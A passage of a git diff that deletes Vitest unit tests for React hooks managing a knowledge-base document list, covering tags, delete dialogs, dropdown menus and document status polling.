-                    {id: 'tag-1', name: 'Tag 1'},
-                    {id: 'tag-2', name: 'Tag 2'},
-                    {id: 'tag-3', name: 'Tag 3'},
-                ],
-            };
-
-            hoisted.tagsByDocumentData = {
-                knowledgeBaseDocumentTagsByDocument: [
-                    {
-                        knowledgeBaseDocumentId: 'doc-1',
-                        tags: [{id: 'tag-1', name: 'Tag 1'}],
-                    },
-                ],
-            };
-
-            const documents = [createMockDocument('doc-1', [])];
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentList({documents}));
-
-            const remainingTags = result.current.getRemainingTagsForDocument('doc-1');
-
-            expect(remainingTags).toHaveLength(2);
-            expect(remainingTags.find((tag) => tag.id === 'tag-1')).toBeUndefined();
-            expect(remainingTags.find((tag) => tag.id === 'tag-2')).toBeDefined();
-            expect(remainingTags.find((tag) => tag.id === 'tag-3')).toBeDefined();
-        });
-
-        it('returns empty array when document has all tags', () => {
-            hoisted.allTagsData = {
-                knowledgeBaseDocumentTags: [
-                    {id: 'tag-1', name: 'Tag 1'},
-                    {id: 'tag-2', name: 'Tag 2'},
-                ],
-            };
-
-            hoisted.tagsByDocumentData = {
-                knowledgeBaseDocumentTagsByDocument: [
-                    {
-                        knowledgeBaseDocumentId: 'doc-1',
-                        tags: [
-                            {id: 'tag-1', name: 'Tag 1'},
-                            {id: 'tag-2', name: 'Tag 2'},
-                        ],
-                    },
-                ],
-            };
-
-            const documents = [createMockDocument('doc-1', [])];
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentList({documents}));
-
-            const remainingTags = result.current.getRemainingTagsForDocument('doc-1');
-
-            expect(remainingTags).toHaveLength(0);
-        });
-    });
-
-    describe('return values', () => {
-        it('returns all expected functions', () => {
-            const documents = [createMockDocument('doc-1', [])];
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentList({documents}));
-
-            expect(typeof result.current.getSortedChunksForDocument).toBe('function');
-            expect(typeof result.current.getTagsForDocument).toBe('function');
-            expect(typeof result.current.getRemainingTagsForDocument).toBe('function');
-        });
-    });
-});
diff --git a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/tests/useKnowledgeBaseDocumentListItem.test.tsx b/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/tests/useKnowledgeBaseDocumentListItem.test.tsx
deleted file mode 100644
index 1f20c7d84c0..00000000000
--- a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/tests/useKnowledgeBaseDocumentListItem.test.tsx
+++ /dev/null
@@ -1,213 +0,0 @@
-import {renderHook} from '@testing-library/react';
-import {beforeEach, describe, expect, it, vi} from 'vitest';
-
-import useKnowledgeBaseDocumentListItem from '../useKnowledgeBaseDocumentListItem';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        invalidateQueries: vi.fn(),
-        pollingStatus: undefined as number | undefined,
-    };
-});
-
-vi.mock(
-    '@/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/useKnowledgeBaseDocumentStatusPolling',
-    () => ({
-        default: vi.fn(() => ({
-            status: hoisted.pollingStatus,
-        })),
-    })
-);
-
-vi.mock('@/pages/automation/knowledge-base/util/knowledge-base-utils', () => ({
-    STATUS_ERROR: 3,
-    STATUS_READY: 2,
-    getDocumentIcon: vi.fn(() => '<MockIcon />'),
-    getStatusBadge: vi.fn((status: number) => `<StatusBadge status="${status}" />`),
-}));
-
-vi.mock('@tanstack/react-query', () => ({
-    useQueryClient: vi.fn(() => ({
-        invalidateQueries: hoisted.invalidateQueries,
-    })),
-}));
-
-const createMockDocument = (overrides = {}) => ({
-    chunks: [
-        {content: 'Content 1', id: 'chunk-1', knowledgeBaseDocumentId: 'doc-1', metadata: null},
-        {content: 'Content 2', id: 'chunk-2', knowledgeBaseDocumentId: 'doc-1', metadata: null},
-    ],
-    createdDate: '2024-01-01',
-    document: {
-        extension: 'pdf',
-        mimeType: 'application/pdf',
-        name: 'test-file.pdf',
-        url: 'https://example.com/test-file.pdf',
-    },
-    id: 'doc-1',
-    name: 'Test Document',
-    status: 2, // STATUS_READY
-    ...overrides,
-});
-
-describe('useKnowledgeBaseDocumentListItem', () => {
-    beforeEach(() => {
-        vi.clearAllMocks();
-        hoisted.pollingStatus = undefined;
-    });
-
-    describe('chunkCount', () => {
-        it('returns correct chunk count', () => {
-            const document = createMockDocument();
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentListItem({document}));
-
-            expect(result.current.chunkCount).toBe(2);
-        });
-
-        it('returns 0 when no chunks', () => {
-            const document = createMockDocument({chunks: []});
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentListItem({document}));
-
-            expect(result.current.chunkCount).toBe(0);
-        });
-
-        it('returns 0 when chunks is null', () => {
-            const document = createMockDocument({chunks: null});
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentListItem({document}));
-
-            expect(result.current.chunkCount).toBe(0);
-        });
-    });
-
-    describe('displayName', () => {
-        it('returns document.document.name when available', () => {
-            const document = createMockDocument();
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentListItem({document}));
-
-            expect(result.current.displayName).toBe('test-file.pdf');
-        });
-
-        it('falls back to document.name when document.document.name is not available', () => {
-            const document = createMockDocument({document: null});
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentListItem({document}));
-
-            expect(result.current.displayName).toBe('Test Document');
-        });
-
-        it('falls back to document.name when document.document is null', () => {
-            const document = createMockDocument({
-                document: {extension: 'pdf', mimeType: 'application/pdf', name: null},
-            });
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentListItem({document}));
-
-            expect(result.current.displayName).toBe('Test Document');
-        });
-    });
-
-    describe('chunksCollapsibleTriggerRef', () => {
-        it('returns a ref object', () => {
-            const document = createMockDocument();
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentListItem({document}));
-
-            expect(result.current.chunksCollapsibleTriggerRef).toBeDefined();
-            expect(result.current.chunksCollapsibleTriggerRef.current).toBeNull();
-        });
-    });
-
-    describe('documentIcon', () => {
-        it('returns document icon', () => {
-            const document = createMockDocument();
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentListItem({document}));
-
-            expect(result.current.documentIcon).toBeDefined();
-        });
-    });
-
-    describe('statusBadge', () => {
-        it('returns status badge based on current status', () => {
-            const document = createMockDocument({status: 2});
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentListItem({document}));
-
-            expect(result.current.statusBadge).toBeDefined();
-        });
-
-        it('uses polled status when document is still processing', () => {
-            const document = createMockDocument({status: 1}); // STATUS_PROCESSING
-            hoisted.pollingStatus = 2; // STATUS_READY
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentListItem({document}));
-
-            expect(result.current.statusBadge).toBeDefined();
-        });
-    });
-
-    describe('handleDocumentListItemClick', () => {
-        it('returns a function', () => {
-            const document = createMockDocument();
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentListItem({document}));
-
-            expect(typeof result.current.handleDocumentListItemClick).toBe('function');
-        });
-    });
-
-    describe('handleDocumentListItemKeyDown', () => {
-        it('returns a function', () => {
-            const document = createMockDocument();
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentListItem({document}));
-
-            expect(typeof result.current.handleDocumentListItemKeyDown).toBe('function');
-        });
-    });
-
-    describe('handleTagListClick', () => {
-        it('returns a function', () => {
-            const document = createMockDocument();
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentListItem({document}));
-
-            expect(typeof result.current.handleTagListClick).toBe('function');
-        });
-
-        it('stops event propagation', () => {
-            const document = createMockDocument();
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentListItem({document}));
-
-            const mockEvent = {
-                stopPropagation: vi.fn(),
-            };
-
-            result.current.handleTagListClick(mockEvent as unknown as React.MouseEvent<HTMLDivElement>);
-
-            expect(mockEvent.stopPropagation).toHaveBeenCalled();
-        });
-    });
-
-    describe('return values', () => {
-        it('returns all expected properties', () => {
-            const document = createMockDocument();
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentListItem({document}));
-
-            expect(result.current).toHaveProperty('chunkCount');
-            expect(result.current).toHaveProperty('chunksCollapsibleTriggerRef');
-            expect(result.current).toHaveProperty('displayName');
-            expect(result.current).toHaveProperty('documentIcon');
-            expect(result.current).toHaveProperty('handleDocumentListItemClick');
-            expect(result.current).toHaveProperty('handleDocumentListItemKeyDown');
-            expect(result.current).toHaveProperty('handleTagListClick');
-            expect(result.current).toHaveProperty('statusBadge');
-        });
-    });
-});
diff --git a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/tests/useKnowledgeBaseDocumentListItemDeleteDialog.test.ts b/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/tests/useKnowledgeBaseDocumentListItemDeleteDialog.test.ts
deleted file mode 100644
index f22939326fa..00000000000
--- a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/tests/useKnowledgeBaseDocumentListItemDeleteDialog.test.ts
+++ /dev/null
@@ -1,214 +0,0 @@
-import {act, renderHook} from '@testing-library/react';
-import {beforeEach, describe, expect, it, vi} from 'vitest';
-
-import useKnowledgeBaseDocumentListItemDeleteDialog from '../useKnowledgeBaseDocumentListItemDeleteDialog';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        deleteMutate: vi.fn(),
-        invalidateQueries: vi.fn(),
-        storeState: {
-            clearDialog: vi.fn(),
-            documentId: null as string | null,
-            setDocumentId: vi.fn(),
-        },
-        toast: vi.fn(),
-    };
-});
-
-vi.mock('@/hooks/use-toast', () => ({
-    useToast: vi.fn(() => ({
-        toast: hoisted.toast,
-    })),
-}));
-
-vi.mock('@/pages/automation/knowledge-base/stores/useKnowledgeBaseDocumentDeleteDialogStore', () => ({
-    useKnowledgeBaseDocumentDeleteDialogStore: vi.fn(() => ({
-        clearDialog: () => {
-            hoisted.storeState.documentId = null;
-            hoisted.storeState.clearDialog();
-        },
-        documentId: hoisted.storeState.documentId,
-        setDocumentId: (documentId: string) => {
-            hoisted.storeState.documentId = documentId;
-            hoisted.storeState.setDocumentId(documentId);
-        },
-    })),
-}));
-
-vi.mock('@/shared/middleware/graphql', () => ({
-    useDeleteKnowledgeBaseDocumentMutation: vi.fn((options: {onSuccess: () => void; onError: () => void}) => ({
-        isPending: false,
-        mutate: (vars: unknown) => {
-            hoisted.deleteMutate(vars);
-            options.onSuccess();
-        },
-    })),
-}));
-
-vi.mock('@tanstack/react-query', () => ({
-    useQueryClient: vi.fn(() => ({
-        invalidateQueries: hoisted.invalidateQueries,
-    })),
-}));
-
-describe('useKnowledgeBaseDocumentListItemDeleteDialog', () => {
-    beforeEach(() => {
-        vi.clearAllMocks();
-        hoisted.storeState.documentId = null;
-    });
-
-    describe('initial state', () => {
-        it('returns closed state when no document to delete', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDocumentListItemDeleteDialog({knowledgeBaseId: 'kb-1'}));
-
-            expect(result.current.open).toBe(false);
-        });
-
-        it('returns open state when document is set', () => {
-            hoisted.storeState.documentId = 'doc-1';
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentListItemDeleteDialog({knowledgeBaseId: 'kb-1'}));
-
-            expect(result.current.open).toBe(true);
-        });
-    });
-
-    describe('handleOpen', () => {
-        it('sets the document id to delete', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDocumentListItemDeleteDialog({knowledgeBaseId: 'kb-1'}));
-
-            act(() => {
-                result.current.handleOpen('doc-1');
-            });
-
-            expect(hoisted.storeState.setDocumentId).toHaveBeenCalledWith('doc-1');
-        });
-    });
-
-    describe('handleConfirm', () => {
-        it('does nothing when no document id is set', () => {
-            hoisted.storeState.documentId = null;
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentListItemDeleteDialog({knowledgeBaseId: 'kb-1'}));
-
-            act(() => {
-                result.current.handleConfirm();
-            });
-
-            expect(hoisted.deleteMutate).not.toHaveBeenCalled();
-        });
-
-        it('calls delete mutation with correct document id', () => {
-            hoisted.storeState.documentId = 'doc-1';
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentListItemDeleteDialog({knowledgeBaseId: 'kb-1'}));
-
-            act(() => {
-                result.current.handleConfirm();
-            });
-
-            expect(hoisted.deleteMutate).toHaveBeenCalledWith({id: 'doc-1'});
-        });
-
-        it('shows success toast after deletion', () => {
-            hoisted.storeState.documentId = 'doc-1';
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentListItemDeleteDialog({knowledgeBaseId: 'kb-1'}));
-
-            act(() => {
-                result.current.handleConfirm();
-            });
-
-            expect(hoisted.toast).toHaveBeenCalledWith({
-                description: 'Document deleted successfully.',
-            });
-        });
-
-        it('invalidates queries after deletion', () => {
-            hoisted.storeState.documentId = 'doc-1';
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentListItemDeleteDialog({knowledgeBaseId: 'kb-1'}));
-
-            act(() => {
-                result.current.handleConfirm();
-            });
-
-            expect(hoisted.invalidateQueries).toHaveBeenCalledWith({
-                queryKey: ['knowledgeBase', {id: 'kb-1'}],
-            });
-            expect(hoisted.invalidateQueries).toHaveBeenCalledWith({
-                queryKey: ['knowledgeBases'],
-            });
-        });
-
-        it('clears dialog after successful deletion', () => {
-            hoisted.storeState.documentId = 'doc-1';
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentListItemDeleteDialog({knowledgeBaseId: 'kb-1'}));
-
-            act(() => {
-                result.current.handleConfirm();
-            });
-
-            expect(hoisted.storeState.clearDialog).toHaveBeenCalled();
-        });
-    });
-
-    describe('handleClose', () => {
-        it('clears the dialog', () => {
-            hoisted.storeState.documentId = 'doc-1';
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentListItemDeleteDialog({knowledgeBaseId: 'kb-1'}));
-
-            act(() => {
-                result.current.handleClose();
-            });
-
-            expect(hoisted.storeState.clearDialog).toHaveBeenCalled();
-        });
-    });
-
-    describe('handleOpenChange', () => {
-        it('clears dialog when open is false', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDocumentListItemDeleteDialog({knowledgeBaseId: 'kb-1'}));
-
-            act(() => {
-                result.current.handleOpenChange(false);
-            });
-
-            expect(hoisted.storeState.clearDialog).toHaveBeenCalled();
-        });
-
-        it('does not clear dialog when open is true', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDocumentListItemDeleteDialog({knowledgeBaseId: 'kb-1'}));
-
-            act(() => {
-                result.current.handleOpenChange(true);
-            });
-
-            expect(hoisted.storeState.clearDialog).not.toHaveBeenCalled();
-        });
-    });
-
-    describe('isPending', () => {
-        it('returns isPending from mutation', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDocumentListItemDeleteDialog({knowledgeBaseId: 'kb-1'}));
-
-            expect(result.current.isPending).toBe(false);
-        });
-    });
-
-    describe('return values', () => {
-        it('returns all expected properties', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDocumentListItemDeleteDialog({knowledgeBaseId: 'kb-1'}));
-
-            expect(typeof result.current.handleClose).toBe('function');
-            expect(typeof result.current.handleConfirm).toBe('function');
-            expect(typeof result.current.handleOpen).toBe('function');
-            expect(typeof result.current.handleOpenChange).toBe('function');
-            expect(typeof result.current.isPending).toBe('boolean');
-            expect(typeof result.current.open).toBe('boolean');
-        });
-    });
-});
diff --git a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/tests/useKnowledgeBaseDocumentListItemDropdownMenu.test.ts b/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/tests/useKnowledgeBaseDocumentListItemDropdownMenu.test.ts
deleted file mode 100644
index d40c61847a1..00000000000
--- a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/tests/useKnowledgeBaseDocumentListItemDropdownMenu.test.ts
+++ /dev/null
@@ -1,74 +0,0 @@
-import {act, renderHook} from '@testing-library/react';
-import {beforeEach, describe, expect, it, vi} from 'vitest';
-
-import useKnowledgeBaseDocumentListItemDropdownMenu from '../useKnowledgeBaseDocumentListItemDropdownMenu';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        setDocumentId: vi.fn(),
-    };
-});
-
-vi.mock('@/pages/automation/knowledge-base/stores/useKnowledgeBaseDocumentDeleteDialogStore', () => ({
-    useKnowledgeBaseDocumentDeleteDialogStore: vi.fn(() => ({
-        setDocumentId: hoisted.setDocumentId,
-    })),
-}));
-
-describe('useKnowledgeBaseDocumentListItemDropdownMenu', () => {
-    beforeEach(() => {
-        vi.clearAllMocks();
-    });
-
-    describe('handleDelete', () => {
-        it('calls setDocumentId with the document id', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDocumentListItemDropdownMenu({documentId: 'doc-1'}));
-
-            act(() => {
-                result.current.handleDelete();
-            });
-
-            expect(hoisted.setDocumentId).toHaveBeenCalledWith('doc-1');
-        });
-
-        it('opens delete dialog for the correct document', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDocumentListItemDropdownMenu({documentId: 'doc-99'}));
-
-            act(() => {
-                result.current.handleDelete();
-            });
-
-            expect(hoisted.setDocumentId).toHaveBeenCalledWith('doc-99');
-        });
-
-        it('works with different document ids', () => {
-            const {result: result1} = renderHook(() =>
-                useKnowledgeBaseDocumentListItemDropdownMenu({documentId: 'doc-1'})
-            );
-
-            const {result: result2} = renderHook(() =>
-                useKnowledgeBaseDocumentListItemDropdownMenu({documentId: 'doc-2'})
-            );
-
-            act(() => {
-                result1.current.handleDelete();
-            });
-
-            expect(hoisted.setDocumentId).toHaveBeenCalledWith('doc-1');
-
-            act(() => {
-                result2.current.handleDelete();
-            });
-
-            expect(hoisted.setDocumentId).toHaveBeenCalledWith('doc-2');
-        });
-    });
-
-    describe('return values', () => {
-        it('returns handleDelete function', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDocumentListItemDropdownMenu({documentId: 'doc-1'}));
-
-            expect(typeof result.current.handleDelete).toBe('function');
-        });
-    });
-});
diff --git a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/tests/useKnowledgeBaseDocumentListItemTagList.test.ts b/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/tests/useKnowledgeBaseDocumentListItemTagList.test.ts
deleted file mode 100644
index afbd0b0381d..00000000000
--- a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/tests/useKnowledgeBaseDocumentListItemTagList.test.ts
+++ /dev/null
@@ -1,263 +0,0 @@
-import {act, renderHook, waitFor} from '@testing-library/react';
-import {beforeEach, describe, expect, it, vi} from 'vitest';
-
-import useKnowledgeBaseDocumentListItemTagList from '../useKnowledgeBaseDocumentListItemTagList';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        cancelQueries: vi.fn(),
-        getQueryData: vi.fn(),
-        invalidateQueries: vi.fn(),
-        mutate: vi.fn(),
-        setQueryData: vi.fn(),
-    };
-});
-
-vi.mock('@/shared/middleware/graphql', () => ({
-    useUpdateKnowledgeBaseDocumentTagsMutation: vi.fn(
-        (options: {
-            onError: (error: unknown, variables: unknown, context: unknown) => void;
-            onMutate: (variables: unknown) => Promise<unknown>;
-            onSettled: () => void;
-        }) => ({
-            mutate: (variables: unknown) => {
-                hoisted.mutate(variables);
-                options.onMutate(variables);
-                options.onSettled();
-            },
-        })
-    ),
-}));
-
-vi.mock('@tanstack/react-query', () => ({
-    useQueryClient: vi.fn(() => ({
-        cancelQueries: hoisted.cancelQueries,
-        getQueryData: hoisted.getQueryData,
-        invalidateQueries: hoisted.invalidateQueries,
-        setQueryData: hoisted.setQueryData,
-    })),
-}));
-
-const mockTags = [
-    {id: '1', name: 'Tag 1'},
-    {id: '2', name: 'Tag 2'},
-];
-
-const mockRemainingTags = [
-    {id: '3', name: 'Tag 3'},
-    {id: '4', name: 'Tag 4'},
-];
-
-describe('useKnowledgeBaseDocumentListItemTagList', () => {
-    beforeEach(() => {
-        vi.clearAllMocks();
-        hoisted.getQueryData.mockReturnValue({
-            knowledgeBaseDocumentTagsByDocument: [],
-        });
-    });
-
-    describe('convertedTags', () => {
-        it('converts tag ids to numbers', () => {
-            const {result} = renderHook(() =>
-                useKnowledgeBaseDocumentListItemTagList({
-                    knowledgeBaseDocumentId: 'doc-1',
-                    tags: mockTags,
-                })
-            );
-
-            expect(result.current.convertedTags).toEqual([
-                {id: 1, name: 'Tag 1'},
-                {id: 2, name: 'Tag 2'},
-            ]);
-        });
-
-        it('handles empty tags array', () => {
-            const {result} = renderHook(() =>
-                useKnowledgeBaseDocumentListItemTagList({
-                    knowledgeBaseDocumentId: 'doc-1',
-                    tags: [],
-                })
-            );
-
-            expect(result.current.convertedTags).toEqual([]);
-        });
-
-        it('preserves tag names during conversion', () => {
-            const tagsWithLongNames = [
-                {id: '100', name: 'Very Long Tag Name'},
-                {id: '200', name: 'Another Long Name'},
-            ];
-
-            const {result} = renderHook(() =>
-                useKnowledgeBaseDocumentListItemTagList({
-                    knowledgeBaseDocumentId: 'doc-1',
-                    tags: tagsWithLongNames,
-                })
-            );
-
-            expect(result.current.convertedTags[0].name).toBe('Very Long Tag Name');
-            expect(result.current.convertedTags[1].name).toBe('Another Long Name');
-        });
-    });
-
-    describe('convertedRemainingTags', () => {
-        it('converts remaining tag ids to numbers', () => {
-            const {result} = renderHook(() =>
-                useKnowledgeBaseDocumentListItemTagList({
-                    knowledgeBaseDocumentId: 'doc-1',
-                    remainingTags: mockRemainingTags,
-                    tags: mockTags,
-                })
-            );
-
-            expect(result.current.convertedRemainingTags).toEqual([
-                {id: 3, name: 'Tag 3'},
-                {id: 4, name: 'Tag 4'},
-            ]);
-        });
-
-        it('returns undefined when remainingTags is not provided', () => {
-            const {result} = renderHook(() =>
-                useKnowledgeBaseDocumentListItemTagList({
-                    knowledgeBaseDocumentId: 'doc-1',
-                    tags: mockTags,
-                })
-            );
-
-            expect(result.current.convertedRemainingTags).toBeUndefined();
-        });
-
-        it('handles empty remainingTags array', () => {
-            const {result} = renderHook(() =>
-                useKnowledgeBaseDocumentListItemTagList({
-                    knowledgeBaseDocumentId: 'doc-1',
-                    remainingTags: [],
-                    tags: mockTags,
-                })
-            );
-
-            expect(result.current.convertedRemainingTags).toEqual([]);
-        });
-    });
-
-    describe('updateTagsMutation', () => {
-        it('returns mutation object', () => {
-            const {result} = renderHook(() =>
-                useKnowledgeBaseDocumentListItemTagList({
-                    knowledgeBaseDocumentId: 'doc-1',
-                    tags: mockTags,
-                })
-            );
-
-            expect(result.current.updateTagsMutation).toBeDefined();
-            expect(typeof result.current.updateTagsMutation.mutate).toBe('function');
-        });
-
-        it('calls mutate when mutation is triggered', async () => {
-            const {result} = renderHook(() =>
-                useKnowledgeBaseDocumentListItemTagList({
-                    knowledgeBaseDocumentId: 'doc-1',
-                    tags: mockTags,
-                })
-            );
-
-            act(() => {
-                result.current.updateTagsMutation.mutate({
-                    input: {
-                        knowledgeBaseDocumentId: 'doc-1',
-                        tags: [{id: '1', name: 'Tag 1'}],
-                    },
-                });
-            });
-
-            await waitFor(() => {
-                expect(hoisted.mutate).toHaveBeenCalled();
-            });
-        });
-
-        it('invalidates queries on settled', async () => {
-            const {result} = renderHook(() =>
-                useKnowledgeBaseDocumentListItemTagList({
-                    knowledgeBaseDocumentId: 'doc-1',
-                    tags: mockTags,
-                })
-            );
-
-            act(() => {
-                result.current.updateTagsMutation.mutate({
-                    input: {
-                        knowledgeBaseDocumentId: 'doc-1',
-                        tags: [{id: '1', name: 'Tag 1'}],
-                    },
-                });
-            });
-
-            await waitFor(() => {
-                expect(hoisted.invalidateQueries).toHaveBeenCalledWith({
-                    queryKey: ['knowledgeBaseDocumentTags'],
-                });
-                expect(hoisted.invalidateQueries).toHaveBeenCalledWith({
-                    queryKey: ['knowledgeBaseDocumentTagsByDocument'],
-                });
-                expect(hoisted.invalidateQueries).toHaveBeenCalledWith({
-                    queryKey: ['knowledgeBases'],
-                });
-            });
-        });
-    });
-
-    describe('memoization', () => {
-        it('memoizes convertedTags when tags do not change', () => {
-            const {rerender, result} = renderHook(
-                ({tags}) =>
-                    useKnowledgeBaseDocumentListItemTagList({
-                        knowledgeBaseDocumentId: 'doc-1',
-                        tags,
-                    }),
-                {initialProps: {tags: mockTags}}
-            );
-
-            const firstConvertedTags = result.current.convertedTags;
-
-            rerender({tags: mockTags});
-
-            expect(result.current.convertedTags).toBe(firstConvertedTags);
-        });
-
-        it('recalculates convertedTags when tags change', () => {
-            const {rerender, result} = renderHook(
-                ({tags}) =>
-                    useKnowledgeBaseDocumentListItemTagList({
-                        knowledgeBaseDocumentId: 'doc-1',
-                        tags,
-                    }),
-                {initialProps: {tags: mockTags}}
-            );
-
-            const firstConvertedTags = result.current.convertedTags;
-
-            const newTags = [{id: '5', name: 'New Tag'}];
-
-            rerender({tags: newTags});
-
-            expect(result.current.convertedTags).not.toBe(firstConvertedTags);
-            expect(result.current.convertedTags).toEqual([{id: 5, name: 'New Tag'}]);
-        });
-    });
-
-    describe('return values', () => {
-        it('returns all expected properties', () => {
-            const {result} = renderHook(() =>
-                useKnowledgeBaseDocumentListItemTagList({
-                    knowledgeBaseDocumentId: 'doc-1',
-                    remainingTags: mockRemainingTags,
-                    tags: mockTags,
-                })
-            );
-
-            expect(result.current).toHaveProperty('convertedTags');
-            expect(result.current).toHaveProperty('convertedRemainingTags');
-            expect(result.current).toHaveProperty('updateTagsMutation');
-        });
-    });
-});
diff --git a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/tests/useKnowledgeBaseDocumentStatusPolling.test.ts b/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/tests/useKnowledgeBaseDocumentStatusPolling.test.ts
deleted file mode 100644
index 95706732d8f..00000000000
--- a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/tests/useKnowledgeBaseDocumentStatusPolling.test.ts
+++ /dev/null
@@ -1,336 +0,0 @@
-import {renderHook} from '@testing-library/react';
-import {beforeEach, describe, expect, it, vi} from 'vitest';
-
-import useKnowledgeBaseDocumentStatusPolling from '../useKnowledgeBaseDocumentStatusPolling';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        isLoading: false,
-        queryData: null as {
-            knowledgeBaseDocumentStatus?: {
-                message?: string;
-                status: number;
-            };
-        } | null,
-    };
-});
-
-vi.mock('@/pages/automation/knowledge-base/util/knowledge-base-utils', () => ({
-    STATUS_ERROR: 3,
-    STATUS_READY: 2,
-}));
-
-vi.mock('@/shared/middleware/graphql', () => ({
-    useKnowledgeBaseDocumentStatusQuery: vi.fn(() => ({
-        data: hoisted.queryData,
-        isLoading: hoisted.isLoading,
-    })),
-}));
-
-describe('useKnowledgeBaseDocumentStatusPolling', () => {
-    beforeEach(() => {
-        vi.clearAllMocks();
-        hoisted.queryData = null;
-        hoisted.isLoading = false;
-    });
-
-    describe('initial state', () => {
-        it('returns undefined status when no data', () => {
-            const {result} = renderHook(() =>
-                useKnowledgeBaseDocumentStatusPolling({
-                    documentId: 'doc-1',
-                    enabled: true,
-                })
-            );
-
-            expect(result.current.status).toBeUndefined();
-        });
-
-        it('returns isLoading from query', () => {
-            hoisted.isLoading = true;
-
-            const {result} = renderHook(() =>
-                useKnowledgeBaseDocumentStatusPolling({
-                    documentId: 'doc-1',
-                    enabled: true,
-                })
-            );
-
-            expect(result.current.isLoading).toBe(true);
-        });
-    });
-
-    describe('status', () => {
-        it('returns status from query data', () => {
-            hoisted.queryData = {
-                knowledgeBaseDocumentStatus: {
-                    message: 'Processing',
-                    status: 1,
-                },
-            };
-
-            const {result} = renderHook(() =>
-                useKnowledgeBaseDocumentStatusPolling({
-                    documentId: 'doc-1',
-                    enabled: true,
-                })
-            );
-
-            expect(result.current.status).toBe(1);
-        });
-
-        it('returns STATUS_READY when document is ready', () => {
-            hoisted.queryData = {
-                knowledgeBaseDocumentStatus: {
-                    status: 2, // STATUS_READY
-                },
-            };
-
-            const {result} = renderHook(() =>
-                useKnowledgeBaseDocumentStatusPolling({
-                    documentId: 'doc-1',
-                    enabled: true,
-                })
-            );
-
-            expect(result.current.status).toBe(2);
-        });
-
-        it('returns STATUS_ERROR when document has error', () => {
-            hoisted.queryData = {
-                knowledgeBaseDocumentStatus: {
-                    message: 'Error processing document',
-                    status: 3, // STATUS_ERROR
-                },
-            };
-
-            const {result} = renderHook(() =>
-                useKnowledgeBaseDocumentStatusPolling({
-                    documentId: 'doc-1',
-                    enabled: true,
-                })
-            );
-
-            expect(result.current.status).toBe(3);
-        });
-    });
-
-    describe('message', () => {
-        it('returns message from query data', () => {
-            hoisted.queryData = {
-                knowledgeBaseDocumentStatus: {
-                    message: 'Processing document...',
-                    status: 1,
-                },
-            };
-
-            const {result} = renderHook(() =>
-                useKnowledgeBaseDocumentStatusPolling({
-                    documentId: 'doc-1',
-                    enabled: true,
-                })
-            );
-
-            expect(result.current.message).toBe('Processing document...');
-        });
-
-        it('returns undefined message when not provided', () => {
-            hoisted.queryData = {
-                knowledgeBaseDocumentStatus: {
-                    status: 2,
-                },
-            };
-
-            const {result} = renderHook(() =>
-                useKnowledgeBaseDocumentStatusPolling({
-                    documentId: 'doc-1',
-                    enabled: true,
-                })
-            );
-
-            expect(result.current.message).toBeUndefined();
-        });
-    });
-
-    describe('isPolling', () => {
-        it('returns true when status is not READY or ERROR', () => {
-            hoisted.queryData = {
-                knowledgeBaseDocumentStatus: {
-                    status: 1, // Processing
-                },
-            };
-
-            const {result} = renderHook(() =>
-                useKnowledgeBaseDocumentStatusPolling({
-                    documentId: 'doc-1',
-                    enabled: true,
-                })
-            );
-
-            expect(result.current.isPolling).toBe(true);
-        });
-
-        it('returns false when status is READY', () => {
-            hoisted.queryData = {
-                knowledgeBaseDocumentStatus: {
-                    status: 2, // STATUS_READY
-                },
-            };
-
-            const {result} = renderHook(() =>
-                useKnowledgeBaseDocumentStatusPolling({
-                    documentId: 'doc-1',
